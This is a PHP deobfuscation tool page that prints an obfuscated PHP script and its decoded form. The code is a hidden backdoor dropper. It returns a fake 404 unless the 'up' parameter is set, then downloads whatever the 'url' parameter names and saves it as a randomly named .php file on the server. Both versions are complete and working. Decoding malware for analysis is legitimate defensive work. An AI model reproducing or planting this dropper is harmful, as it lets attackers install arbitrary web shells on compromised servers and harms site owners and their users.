Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto JHRxz; JHRxz: if (isset($_GET["\165\160"])) { goto wn7PE; } goto alIOs; MsAPU: if (f..
Decoded Output download
<? goto JHRxz; JHRxz: if (isset($_GET["up"])) { goto wn7PE; } goto alIOs; MsAPU: if (file_put_contents($k6kN7, $gDndB)) { goto a2HSx; } goto fWDv0; WIJdc: echo "File uploaded successfully {$k6kN7}"; goto l6wrp; ofoAi: $cfQ4v = $_GET["url"]; goto kBdmj; aac9i: $gDndB = iFaYm($cfQ4v); goto MsAPU; kBdmj: $k6kN7 = P1EE6() . ".php"; goto aac9i; fWDv0: echo "File upload failed"; goto MvvK2; Cez77: exit; goto h_X3g; AKrXt: a2HSx: goto WIJdc; wZN2o: function P1Ee6($md6Nb = 10) { goto hzeL6; ipO0Q: return $l_RrT; goto HVdV6; k7uv1: $WVcVX = 0; goto tv7bK; hzeL6: $CLlns = "0123456789abcdefghijklmnopqrstuvwxyz"; goto U2vtv; WFqVs: $l_RrT = ''; goto k7uv1; y0F8b: $l_RrT .= $CLlns[rand(0, $KtYAC - 1)]; goto j30o5; tv7bK: aog6M: goto Uw9ph; t_ici: $WVcVX++; goto wnTRu; U2vtv: $KtYAC = strlen($CLlns); goto WFqVs; LFacg: NlIni: goto ipO0Q; Uw9ph: if (!($WVcVX < $md6Nb)) { goto NlIni; } goto y0F8b; j30o5: oHc93: goto t_ici; wnTRu: goto aog6M; goto LFacg; HVdV6: } goto vyaEV; MvvK2: goto vj1JR; goto AKrXt; h_X3g: wn7PE: goto wZN2o; vyaEV: function ifaYm($cfQ4v) { goto RvfVE; GiShr: curl_close($AfoG3); goto hvVc6; RvfVE: $AfoG3 = curl_init(); goto lSeAC; hvVc6: return $gDndB; goto KTfPK; y_Xvv: curl_setopt($AfoG3, CURLOPT_RETURNTRANSFER, 1); goto XXCio; XXCio: $gDndB = curl_exec($AfoG3); goto GiShr; lSeAC: curl_setopt($AfoG3, CURLOPT_URL, $cfQ4v); goto y_Xvv; KTfPK: } goto ofoAi; alIOs: header("HTTP/1.0 404 Not Found", true, 404); goto Cez77; l6wrp: vj1JR:
?>
Did this file decode correctly?
Original Code
goto JHRxz; JHRxz: if (isset($_GET["\165\160"])) { goto wn7PE; } goto alIOs; MsAPU: if (file_put_contents($k6kN7, $gDndB)) { goto a2HSx; } goto fWDv0; WIJdc: echo "\x46\151\154\x65\40\x75\x70\154\157\x61\144\145\144\40\x73\x75\x63\143\x65\163\x73\x66\x75\x6c\x6c\x79\x20{$k6kN7}"; goto l6wrp; ofoAi: $cfQ4v = $_GET["\165\x72\x6c"]; goto kBdmj; aac9i: $gDndB = iFaYm($cfQ4v); goto MsAPU; kBdmj: $k6kN7 = P1EE6() . "\x2e\160\x68\160"; goto aac9i; fWDv0: echo "\106\151\x6c\145\x20\x75\x70\154\x6f\141\144\x20\146\x61\151\x6c\x65\144"; goto MvvK2; Cez77: exit; goto h_X3g; AKrXt: a2HSx: goto WIJdc; wZN2o: function P1Ee6($md6Nb = 10) { goto hzeL6; ipO0Q: return $l_RrT; goto HVdV6; k7uv1: $WVcVX = 0; goto tv7bK; hzeL6: $CLlns = "\x30\61\x32\63\64\x35\x36\x37\70\x39\x61\x62\x63\x64\x65\146\147\150\x69\x6a\x6b\154\x6d\x6e\157\x70\161\162\x73\x74\x75\x76\167\x78\x79\x7a"; goto U2vtv; WFqVs: $l_RrT = ''; goto k7uv1; y0F8b: $l_RrT .= $CLlns[rand(0, $KtYAC - 1)]; goto j30o5; tv7bK: aog6M: goto Uw9ph; t_ici: $WVcVX++; goto wnTRu; U2vtv: $KtYAC = strlen($CLlns); goto WFqVs; LFacg: NlIni: goto ipO0Q; Uw9ph: if (!($WVcVX < $md6Nb)) { goto NlIni; } goto y0F8b; j30o5: oHc93: goto t_ici; wnTRu: goto aog6M; goto LFacg; HVdV6: } goto vyaEV; MvvK2: goto vj1JR; goto AKrXt; h_X3g: wn7PE: goto wZN2o; vyaEV: function ifaYm($cfQ4v) { goto RvfVE; GiShr: curl_close($AfoG3); goto hvVc6; RvfVE: $AfoG3 = curl_init(); goto lSeAC; hvVc6: return $gDndB; goto KTfPK; y_Xvv: curl_setopt($AfoG3, CURLOPT_RETURNTRANSFER, 1); goto XXCio; XXCio: $gDndB = curl_exec($AfoG3); goto GiShr; lSeAC: curl_setopt($AfoG3, CURLOPT_URL, $cfQ4v); goto y_Xvv; KTfPK: } goto ofoAi; alIOs: header("\110\x54\x54\120\57\x31\x2e\60\40\64\60\x34\x20\116\157\164\40\x46\157\165\x6e\144", true, 404); goto Cez77; l6wrp: vj1JR:
Function Calls
None |
Stats
MD5 | 89419a29f7cacc8e8fc1062382b5704e |
Eval Count | 0 |
Decode Time | 56 ms |